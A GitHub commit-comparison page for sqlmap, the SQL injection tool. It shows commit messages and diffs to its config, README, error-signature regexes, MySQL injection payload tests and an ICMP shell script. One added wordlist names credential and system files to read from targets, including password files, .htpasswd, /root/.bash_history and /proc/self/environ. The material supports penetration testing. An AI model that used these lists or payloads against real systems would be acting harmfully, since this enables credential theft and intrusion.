Compare commits

...
166 Commits
Author SHA1 Message Date
Miroslav Stampar 948903f232 Fixes #4024 2019-12-02 10:10:58 +01:00
Miroslav Stampar 20d875a8ce Fixes #4020 2019-11-30 23:10:40 +01:00
raimundmuc f947c5f76e Fix regression introduced by b3cdec5 (#4022) 2019-11-30 22:48:34 +01:00
Miroslav Stampar 1233573df1 Removing leftover 2019-11-30 11:25:38 +01:00
Miroslav Stampar 04ce6ba91b Minor patch 2019-11-30 11:14:41 +01:00
Miroslav Stampar c1f98d07c1 Couple of important patches 2019-11-30 04:42:38 +01:00
Miroslav Stampar fddc818764 New tests 2019-11-29 22:03:16 +01:00
Miroslav Stampar c028fb9003 Patch for websocket (with multiple recv requirement) 2019-11-28 13:53:47 +01:00
Miroslav Stampar 1bfb9efb91 Minor patch 2019-11-28 13:41:02 +01:00
Miroslav Stampar 7731c6c135 Minor patch 2019-11-28 00:29:42 +01:00
Miroslav Stampar 989915b91c Bug fix (type detection in SQLite --common-columns) 2019-11-28 00:02:08 +01:00
Miroslav Stampar 03728a4f20 Bug fix (--common-columns on SQLite) 2019-11-27 23:40:36 +01:00
Miroslav Stampar 47d2cf0c6c Some more tests 2019-11-27 23:26:39 +01:00
Miroslav Stampar ce65733043 Minor patch (problem reported via email) 2019-11-27 12:09:51 +01:00
Miroslav Stampar 6ab1cf8caa Minor cleanup 2019-11-26 16:22:23 +01:00
Miroslav Stampar 78a5573563 Just in case patch 2019-11-26 14:03:22 +01:00
Miroslav Stampar db2e74a810 Minor patch 2019-11-26 13:51:08 +01:00
Miroslav Stampar 04708c6d1a Minor improvement 2019-11-26 13:36:06 +01:00
Miroslav Stampar 6823971442 Minor patch 2019-11-26 13:18:21 +01:00
Miroslav Stampar adf713d18c Minor update 2019-11-25 23:47:29 +01:00
Miroslav Stampar d8e4eede6e Minor patch 2019-11-25 22:59:22 +01:00
Miroslav Stampar 862959f27a Minor check 2019-11-25 22:57:44 +01:00
Miroslav Stampar f1000e0d15 Minor update 2019-11-22 16:25:46 +01:00
Miroslav Stampar 72443ed875 Minor cleanup 2019-11-22 16:22:28 +01:00
Miroslav Stampar 4116ee5f78 Minor update 2019-11-22 16:21:17 +01:00
Miroslav Stampar 6e46624fe0 Fixes #4017 2019-11-22 15:20:45 +01:00
Miroslav Stampar 9c87671e3a Some more experimental updates 2019-11-22 14:39:44 +01:00
Miroslav Stampar d1bb69f917 Minor improvement 2019-11-21 17:26:18 +01:00
Miroslav Stampar 0a266f602c Minor improvement 2019-11-21 15:58:04 +01:00
Miroslav Stampar 9fc856b3a6 Minor update 2019-11-21 14:55:05 +01:00
Miroslav Stampar 737c727e56 Minor update 2019-11-21 13:58:46 +01:00
Miroslav Stampar 5013f767a1 Minor update 2019-11-21 11:41:46 +01:00
Miroslav Stampar b2a8cb8f77 Minor update 2019-11-21 11:36:13 +01:00
Miroslav Stampar 36938f8880 Minor update 2019-11-21 10:46:26 +01:00
Miroslav Stampar 99565f2cb3 Minor update 2019-11-20 17:28:25 +01:00
Miroslav Stampar e808496ed3 Testing something out 2019-11-20 16:46:24 +01:00
Miroslav Stampar 35073ce43b Dealing more with (new) warnings 2019-11-19 13:02:53 +01:00
Miroslav Stampar 7bbeb9e841 Dealing with Python3.8 RuntimeWarning 2019-11-19 12:56:56 +01:00
Miroslav Stampar a0dca74c12 Minor patch 2019-11-19 12:21:39 +01:00
Miroslav Stampar 1f3a5b4d70 Fixes #4016 2019-11-19 11:56:01 +01:00
Miroslav Stampar d87328f799 Patch for #4015 2019-11-18 16:17:17 +01:00
Miroslav Stampar dfb74ffa84 Minor update 2019-11-18 12:37:17 +01:00
Miroslav Stampar 5044894928 Minor update of vuln tests 2019-11-18 12:08:26 +01:00
Miroslav Stampar 0a0c696e84 Minor update 2019-11-18 11:57:06 +01:00
Miroslav Stampar 0977f6df61 Bug fix (disable HTML decoding in XSS checks) 2019-11-18 11:40:07 +01:00
Miroslav Stampar f550a2281f Minor patch (SQLite --tables) 2019-11-17 22:14:32 +01:00
Miroslav Stampar 8fb6268b51 Minor patch (vuln testing) 2019-11-17 22:08:18 +01:00
Miroslav Stampar 531eca7e65 Minor patch 2019-11-17 19:33:48 +01:00
Miroslav Stampar cd61a04e5a Minor expansion of vuln tests 2019-11-17 19:27:35 +01:00
Miroslav Stampar afb3cec133 Bug fix (--where in case of boolean-based blind) 2019-11-17 19:27:19 +01:00
Miroslav Stampar c817a7065e Minor update 2019-11-17 18:54:33 +01:00
Miroslav Stampar f9efc721a9 Minor patch 2019-11-17 18:31:53 +01:00
Miroslav Stampar e57e61eccb Minor patch (drei) 2019-11-17 16:27:16 +01:00
Miroslav Stampar 11adf893c3 Minor update 2019-11-17 16:04:22 +01:00
Miroslav Stampar fbde411228 Minor update 2019-11-17 00:52:04 +01:00
Miroslav Stampar 348795767c Minor improvement 2019-11-17 00:36:39 +01:00
Miroslav Stampar be340fcf11 Patch for -d (DREI) 2019-11-17 00:22:47 +01:00
Miroslav Stampar 6d07d52ccd Minor patch 2019-11-17 00:21:55 +01:00
Miroslav Stampar ac9c2f1210 Minor improvement 2019-11-17 00:21:33 +01:00
Miroslav Stampar 45a2d2a83f Bug fix (TLS/SNI sites misbehaved over --tor/--proxy) 2019-11-15 22:42:56 +01:00
Miroslav Stampar 52a70a087e Minor patch 2019-11-15 22:42:20 +01:00
Miroslav Stampar 87b5be0a5e Minor improvement 2019-11-15 22:27:33 +01:00
Miroslav Stampar 74d3a6d77d Minor patch 2019-11-15 16:36:21 +01:00
Miroslav Stampar 8296c1ed53 Trivial patch 2019-11-15 16:27:05 +01:00
Miroslav Stampar 6a23c5974f Minor update 2019-11-15 16:24:56 +01:00
Miroslav Stampar 2a85dafba8 Removing debug leftover 2019-11-15 16:07:03 +01:00
Miroslav Stampar 1162aa89fc Minor improvement 2019-11-15 16:06:19 +01:00
Miroslav Stampar 0d140b60f1 Fixes #4012 2019-11-15 10:02:51 +01:00
Miroslav Stampar 95c5c20de4 Quick patch for #4012 2019-11-15 09:50:00 +01:00
Miroslav Stampar e34b73b685 Minor update 2019-11-15 09:41:51 +01:00
Miroslav Stampar 7e28c02948 Minor improvements 2019-11-14 14:21:53 +01:00
Miroslav Stampar aa9ff9e8a6 Minor update 2019-11-14 12:51:09 +01:00
Miroslav Stampar 8d877de9b5 Minor update 2019-11-14 12:00:50 +01:00
Miroslav Stampar 2bb5ba7fa2 Bug fix (payload escaping in XML payloads) 2019-11-14 11:49:30 +01:00
Miroslav Stampar 8d608dfdfe Minor patch (too early test start) 2019-11-14 01:29:51 +01:00
Miroslav Stampar c4ebc23336 Minor update 2019-11-13 17:53:28 +01:00
Miroslav Stampar 55d79385cc Trying something out 2019-11-13 14:19:18 +01:00
Miroslav Stampar 7425d4acfb Trying something out 2019-11-13 14:09:51 +01:00
Miroslav Stampar 15f94bd671 Trivial update 2019-11-13 13:56:11 +01:00
Miroslav Stampar 7202bb010c Trying something out for #3802 2019-11-13 13:39:25 +01:00
Miroslav Stampar 77312a8a2e Fixes #4010 2019-11-13 11:29:42 +01:00
Miroslav Stampar 60c7fb3e03 Minor update 2019-11-13 11:17:32 +01:00
Miroslav Stampar e6edecb396 Trivial update 2019-11-13 11:07:46 +01:00
Miroslav Stampar e78e07d752 Fixes #4008 2019-11-13 10:55:02 +01:00
Miroslav Stampar 25541efa44 Minor update 2019-11-12 23:32:09 +01:00
Miroslav Stampar df8fa9cd82 Minor patch 2019-11-12 23:05:32 +01:00
Miroslav Stampar 7b89613c46 Minor improvement for --forms 2019-11-12 23:02:38 +01:00
Miroslav Stampar f382443ddd Minor patch for crawling 2019-11-12 22:51:11 +01:00
Miroslav Stampar e58d68c203 Minor improvement 2019-11-12 15:38:59 +01:00
Miroslav Stampar 541cebdce9 More curl-alike options 2019-11-11 14:18:50 +01:00
Miroslav Stampar d193b6e331 Trivial update 2019-11-11 14:09:02 +01:00
Miroslav Stampar a9b6a07641 Fixes #4006 2019-11-11 14:03:43 +01:00
Miroslav Stampar 39ca71619c Trivial patch 2019-11-11 12:43:45 +01:00
Miroslav Stampar 5f3b397882 Minor update 2019-11-11 12:24:42 +01:00
Miroslav Stampar eb696e17f4 Minor update 2019-11-11 11:20:12 +01:00
Miroslav Stampar 8cdc66fdf7 Bug fix (multiple Ctrl-C in crawling mode) 2019-11-09 01:01:19 +01:00
Miroslav Stampar 72fa5a9c85 Minor update 2019-11-09 00:54:47 +01:00
Miroslav Stampar 87f6db467d Minor patches 2019-11-08 23:45:30 +01:00
Miroslav Stampar 404d8481ad Couple of minor patches 2019-11-08 23:28:51 +01:00
Miroslav Stampar 9ad3cd5176 Fixes #4004 2019-11-08 22:39:55 +01:00
Miroslav Stampar 7eb7bddb25 Minor patch 2019-11-08 15:19:50 +01:00
Miroslav Stampar a90324d592 Minor patch 2019-11-08 15:05:41 +01:00
Miroslav Stampar 6b56715447 Minor update (tends to become ugly) 2019-11-07 17:18:35 +01:00
Miroslav Stampar 360d89cecc Critical bug patch for --crawl/--forms (introduced last week) 2019-11-07 16:23:52 +01:00
Miroslav Stampar abe31c1fbf Minor update 2019-11-07 16:04:32 +01:00
Miroslav Stampar 8ec0c7a691 Trivial update 2019-11-07 13:30:11 +01:00
Miroslav Stampar 145f87c50d Dirty patch for #4001 2019-11-07 13:28:19 +01:00
Miroslav Stampar dc87e10c99 Trivial message update 2019-11-07 00:03:06 +01:00
Miroslav Stampar 39a46d66e2 Skip custom header injection check in --forms/--crawl 2019-11-06 14:53:33 +01:00
Miroslav Stampar 1b1c37e12c Minor update 2019-11-06 14:45:48 +01:00
Miroslav Stampar adbc4bae5d Update of vuln tests 2019-11-06 12:54:18 +01:00
Miroslav Stampar e4a2ac8277 Update of vuln tests 2019-11-06 12:27:47 +01:00
Miroslav Stampar c2b929301e Update of vuln tests 2019-11-06 11:52:50 +01:00
Miroslav Stampar 732267876c Bug fix for SOAP/XML (proper origValue calculation) 2019-11-06 11:39:57 +01:00
Miroslav Stampar 7a1ecf797b Dealing with ugly BeautifulSoup old version warning 2019-11-06 11:26:32 +01:00
Miroslav Stampar fdcde2a2a5 In case of bulk file, crawl-scan-crawl-scan... 2019-11-04 23:53:35 +01:00
Miroslav Stampar 6679d6f427 Trivial update 2019-11-04 22:59:08 +01:00
Miroslav Stampar bb18c4db09 Removing -x as I doubt that anybody uses it 2019-11-04 22:43:28 +01:00
Miroslav Stampar ce9618c307 Implements #3993 2019-11-04 12:53:29 +01:00
Miroslav Stampar c91fcbb0c7 Minor update 2019-11-03 00:33:50 +01:00
Arjun V d43f15be38 Update Orcale System Databases in settings.py (#3996)
Adding the following system schemas to the list of Oracle System Schemas:

ADAMS, JONES, CLARK, BLAKE, DEMO, AURORA$ORB$UNAUTHENTICATED, AWR_STAGE, CSMIG, DSSYS, PERFSTAT, TRACESVR, TSMSYS

http://www.orafaq.com/wiki/List_of_default_database_users
2019-11-03 00:18:11 +01:00
Miroslav Stampar 85def6a662 Adding new option --results-file (thank you Hyundai) 2019-11-01 17:27:30 +01:00
Miroslav Stampar fdfcbb9161 Minor language update 2019-10-31 23:04:26 +01:00
Miroslav Stampar 096953991d Minor update 2019-10-31 22:47:36 +01:00
Miroslav Stampar a660828cec Implementation of crawling results normalization 2019-10-31 22:07:16 +01:00
Miroslav Stampar 273004396c Trivial language update 2019-10-31 21:40:28 +01:00
Miroslav Stampar 1a026e08dc Fixes special cases (e.g. cookie with asterisk skipped GET/POST tests) 2019-10-31 21:27:48 +01:00
Miroslav Stampar e21d4ae344 Minor update 2019-10-31 20:59:14 +01:00
Miroslav Stampar 3af15fee60 Trivial update 2019-10-31 20:49:38 +01:00
Miroslav Stampar 7a6e2df997 Patch for --forms/--crawl (if no protocol specified) 2019-10-31 20:40:37 +01:00
Miroslav Stampar 5c5719b81a Minor refactoring 2019-10-31 20:38:37 +01:00
Miroslav Stampar 7c9c6e4a59 Minor update (thank you Hyundai) 2019-10-31 16:57:15 +01:00
AnonProgrammer007 a422c9bc45 Update README.md (#3992) 2019-10-31 08:37:33 +01:00
Miroslav Stampar 4ede1b80a4 Minor update 2019-10-31 08:31:20 +01:00
Miroslav Stampar 869adc6fef Minor update 2019-10-29 15:07:29 +01:00
Miroslav Stampar a75ab8b128 Minor improvement of table dump formatting 2019-10-29 15:00:53 +01:00
Miroslav Stampar eec9cca85b Minor update 2019-10-29 13:52:11 +01:00
Miroslav Stampar 18d22faacd Fixes #3988 2019-10-28 12:31:17 +01:00
Miroslav Stampar a2ee93344e Adding Tarsier eyes (future logo) 2019-10-23 15:35:44 +02:00
Miroslav Stampar ab2cae3957 Implements #3971 2019-10-23 14:41:14 +02:00
Miroslav Stampar fd8028bb18 Fixes #3977 2019-10-22 14:43:29 +02:00
Miroslav Stampar 1d1da45782 Fixes #3978 2019-10-22 14:39:53 +02:00
Miroslav Stampar 8492509919 Minor update related to the #3976 2019-10-21 10:11:38 +02:00
Miroslav Stampar 9a624605b6 Falling back to web backdoor if UDF fails 2019-10-17 15:16:21 +02:00
Miroslav Stampar 1c3982c32d Update (inlining with other payload styles) 2019-10-17 13:56:41 +02:00
Miroslav Stampar 42480ba901 Update regarding #3928 2019-10-17 13:39:47 +02:00
Miroslav Stampar d02ee47157 Minor cosmetics 2019-10-17 11:53:53 +02:00
Miroslav Stampar 8340f8bcad Minor update 2019-10-17 10:53:12 +02:00
Miroslav Stampar 6bde50dbdc Patch for #3964 2019-10-15 16:08:58 +02:00
Miroslav Stampar 35893c49b8 Minor update of vuln-test 2019-10-15 12:29:39 +02:00
Miroslav Stampar 1a5ed610ce Bug fix (backslash escaping of JSON string values) 2019-10-15 01:05:34 +02:00
Miroslav Stampar 19925b806b Update regarding #3968 2019-10-14 10:42:10 +02:00
Miroslav Stampar 4b5927b734 Fixes #3967 2019-10-14 09:54:00 +02:00
Miroslav Stampar 1fa81fedf3 Patching like a boss (Issue #3962) 2019-10-10 16:23:26 +03:00
Miroslav Stampar 8407344991 Fixes #3961 2019-10-10 16:02:43 +03:00
Miroslav Stampar 17658619dc Fixes #3960 2019-10-10 15:40:56 +03:00
Miroslav Stampar 627d99089f Proper patch for #3955 2019-10-09 20:41:33 +03:00
Miroslav Stampar 9b42319d0e Proper message (Issue #3958) 2019-10-09 20:26:12 +03:00
Miroslav Stampar 63c2d2050d Fixes #3953 2019-10-09 20:06:47 +03:00
Miroslav Stampar aed137ad80 Fixes #3948 2019-10-07 14:20:18 +02:00
Miroslav Stampar 9fd4a4f0d1 Removing deprecated files (online versions available) 2019-10-04 14:15:05 +02:00
Miroslav Stampar 57511ac9df Trivial update 2019-10-04 14:12:15 +02:00
Miroslav Stampar 5f41d94602 Minor update 2019-10-04 13:51:12 +02:00
Miroslav Stampar c8a4e6378f Minor improvement for --forms 2019-10-03 15:09:59 +02:00
Miroslav Stampar 08d3228b5f Minor improvement of --forms (jquery) 2019-10-03 14:38:46 +02:00
Miroslav Stampar 5cc36b452e Minor improvement for crawling 2019-10-02 13:08:13 +02:00
73 changed files with 1850 additions and 520 deletions
+12 -6
View File
@@ -1,13 +1,19 @@
language: python
dist: trusty
jobs:
include:
- python: 2.6
dist: trusty
- python: 2.7
dist: trusty
- python: 3.3
dist: trusty
- python: 3.6
dist: trusty
- python: 3.8
dist: xenial
sudo: false
git:
depth: 1
python:
- "2.6"
- "2.7"
- "3.3"
- "3.6"
script:
- python -c "import sqlmap; import sqlmapapi"
- python sqlmap.py --smoke
+5 -5
View File
@@ -1,17 +1,17 @@
# sqlmap
# sqlmap ![](https://i.imgur.com/fe85aVR.png)
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
**The sqlmap project is currently searching for sponsor(s).**
Screenshots
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
Installation
----
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
python sqlmap.py -hh
You can find a sample run [here](https://asciinema.org/a/46601).
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Links
----
+152
View File
@@ -203,6 +203,31 @@
/var/www/nginx-default/index.php
/srv/www/index.php
/var/www/config.php
/usr/local/apache/config.php
/usr/local/apache2/config.php
/usr/local/www/apache22/config.php
/usr/local/www/apache24/config.php
/usr/local/httpd/config.php
/var/www/nginx-default/config.php
/srv/www/config.php
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
/srv/www/htdocs/index.php
/usr/local/apache2/htdocs/index.php
/usr/local/www/data/index.php
/var/apache2/htdocs/index.php
/var/www/htdocs/index.php
/var/www/html/index.php
/srv/www/htdocs/config.php
/usr/local/apache2/htdocs/config.php
/usr/local/www/data/config.php
/var/apache2/htdocs/config.php
/var/www/htdocs/config.php
/var/www/html/config.php
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
/etc/passwd
@@ -1650,3 +1675,130 @@
\web.config
\windows\system32\drivers\etc\hosts
\windows\win.ini
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
/etc/apache2/.htpasswd
/etc/apache/.htpasswd
/etc/master.passwd
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/passwd
/etc/passwd
/etc/passwd~
/etc/passwd-
/etc/pureftpd.passwd
/etc/samba/private/smbpasswd
/etc/samba/smbpasswd
/etc/security/opasswd
/etc/security/passwd
/etc/smbpasswd
\Program Files\xampp\apache\conf\httpd.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
/usr/ports/net/pure-ftpd/pureftpd.passwd
/var/log/exim_rejectlog/etc/passwd
/etc/mysql/conf.d/old_passwords.cnf
/etc/password.master
/var/www/.lighttpdpassword
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
/Volumes/webBackup/opt/apache2/conf/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
# Reference: https://pastebin.com/KgPsDXjg
/etc/passwd
/etc/crontab
/etc/hosts
/etc/my.cnf
/etc/.htpasswd
/root/.bash_history
/etc/named.conf
/proc/self/environ
/etc/php.ini
/bin/php.ini
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/usr/local/apache/conf/modsec.conf
/var/cpanel/cpanel.config
/proc/self/environ
/proc/self/fd/2
/etc/ssh/sshd_config
/var/lib/mysql/my.cnf
/etc/mysql/my.cnf
/etc/my.cnf
/etc/logrotate.d/proftpd
/www/logs/proftpd.system.log
/var/log/proftpd
/etc/proftp.conf
/etc/protpd/proftpd.conf
/etc/vhcs2/proftpd/proftpd.conf
/etc/proftpd/modules.conf
/etc/vsftpd.chroot_list
/etc/vsftpd/vsftpd.conf
/etc/vsftpd.conf
/etc/chrootUsers
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/usr/sbin/pure-config.pl
/usr/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/pureftpd/etc/pure-ftpd.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pure-ftpd/pureftpd.pdb
/var/log/ftp-proxy
/etc/logrotate.d/ftp
/etc/ftpchroot
/etc/ftphosts
/etc/smbpasswd
/etc/smb.conf
/etc/samba/smb.conf
/etc/samba/samba.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/var/lib/pgsql/data/postgresql.conf
/var/postgresql/db/postgresql.conf
/etc/ipfw.conf
/etc/firewall.rules
/etc/ipfw.rules
/usr/local/etc/webmin/miniserv.conf
/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/etc/webmin/miniserv.users
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config.php
/etc/httpd/conf.d/squirrelmail.conf
/usr/share/squirrelmail/config/config.php
/private/etc/squirrelmail/config/config.php
/srv/www/htdos/squirrelmail/config/config.php
File diff suppressed because it is too large Load Diff
+2 -1
View File
@@ -7,13 +7,14 @@
<error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/>
<error regexp="valid MySQL result"/>
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
<error regexp="check the manual that (corresponds to|fits) your (MySQL|MariaDB) server version"/>
<error regexp="Unknown column '[^ ]+' in 'field list'"/>
<error regexp="MySqlClient\."/>
<error regexp="com\.mysql\.jdbc"/>
<error regexp="Zend_Db_(Adapter|Statement)_Mysqli_Exception"/>
<error regexp="Pdo[./_\\]Mysql"/>
<error regexp="MySqlException"/>
<error regexp="SQLSTATE\[\d+\]: Syntax error or access violation"/>
</dbms>
<!-- PostgreSQL -->
+8 -8
View File
@@ -3,7 +3,7 @@
<root>
<!-- Stacked queries tests -->
<test>
<title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
<title>MySQL &gt;= 5.0.12 stacked queries (comment)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
@@ -19,12 +19,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries</title>
<title>MySQL &gt;= 5.0.12 stacked queries</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
@@ -39,12 +39,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (query SLEEP - comment)</title>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP - comment)</title>
<stype>4</stype>
<level>3</level>
<risk>1</risk>
@@ -60,12 +60,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (query SLEEP)</title>
<title>MySQL &gt;= 5.0.12 stacked queries (query SLEEP)</title>
<stype>4</stype>
<level>4</level>
<risk>1</risk>
@@ -80,7 +80,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
+12 -12
View File
@@ -169,7 +169,7 @@
</test>
<test>
<title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query)</title>
<title>MySQL &lt; 5.0.12 AND time-based blind (heavy query)</title>
<stype>5</stype>
<level>2</level>
<risk>2</risk>
@@ -184,12 +184,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query)</title>
<title>MySQL &lt; 5.0.12 OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>2</level>
<risk>3</risk>
@@ -204,12 +204,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt;= 5.0.11 AND time-based blind (heavy query - comment)</title>
<title>MySQL &lt; 5.0.12 AND time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
@@ -225,12 +225,12 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &lt;= 5.0.11 OR time-based blind (heavy query - comment)</title>
<title>MySQL &lt; 5.0.12 OR time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>3</risk>
@@ -246,7 +246,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
@@ -1506,7 +1506,7 @@
</test>
<test>
<title>MySQL &lt;= 5.0.11 time-based blind - Parameter replace (heavy queries)</title>
<title>MySQL &lt; 5.0.12 time-based blind - Parameter replace (heavy queries)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
@@ -1521,7 +1521,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
@@ -1861,7 +1861,7 @@
</test>
<test>
<title>MySQL &lt;= 5.0.11 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
<title>MySQL &lt; 5.0.12 time-based blind - ORDER BY, GROUP BY clause (heavy query)</title>
<stype>5</stype>
<level>4</level>
<risk>2</risk>
@@ -1876,7 +1876,7 @@
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&lt;= 5.0.11</dbms_version>
<dbms_version>&lt; 5.0.12</dbms_version>
</details>
</test>
+5 -1
View File
@@ -3,7 +3,8 @@
<root>
<!-- MySQL -->
<dbms value="MySQL">
<cast query="CAST(%s AS CHAR)"/>
<!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
<cast query="CAST(%s AS NCHAR)"/>
<length query="CHAR_LENGTH(%s)"/>
<isnull query="IFNULL(%s,' ')"/>
<delimiter query=","/>
@@ -242,6 +243,9 @@
<concatenate query="%s||%s"/>
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="RAWTOHEX(%s)"/>
<!--
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
-->
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/>
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+45 -42
View File
@@ -76,60 +76,63 @@ def main(src, dst):
decoder = ImpactDecoder.IPDecoder()
while True:
cmd = ''
try:
cmd = ''
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
# Wait for incoming replies
if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
if 0 == len(buff):
# Socket remotely closed
sock.close()
sys.exit(0)
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# Packet received; decode and display it
ippacket = decoder.decode(buff)
icmppacket = ippacket.child()
# If the packet matches, report it to the user
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
# Get identifier and sequence number
